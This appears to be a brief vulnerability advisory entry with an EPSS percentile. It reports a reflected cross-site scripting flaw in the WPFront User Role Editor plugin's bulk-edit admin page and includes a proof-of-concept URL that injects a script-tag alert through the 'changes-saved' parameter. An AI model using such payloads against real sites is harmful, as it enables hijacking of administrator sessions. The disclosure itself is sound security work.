EPSS
Percentile
41.1%
The plugin does not sanitise and escape the changes-saved parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=wpfront-user-role-editor-bulk-edit&screen;=add-remove-cap&submit;=Next+Step&changes-saved;=<script>alert(/XSS/)<%2Fscript>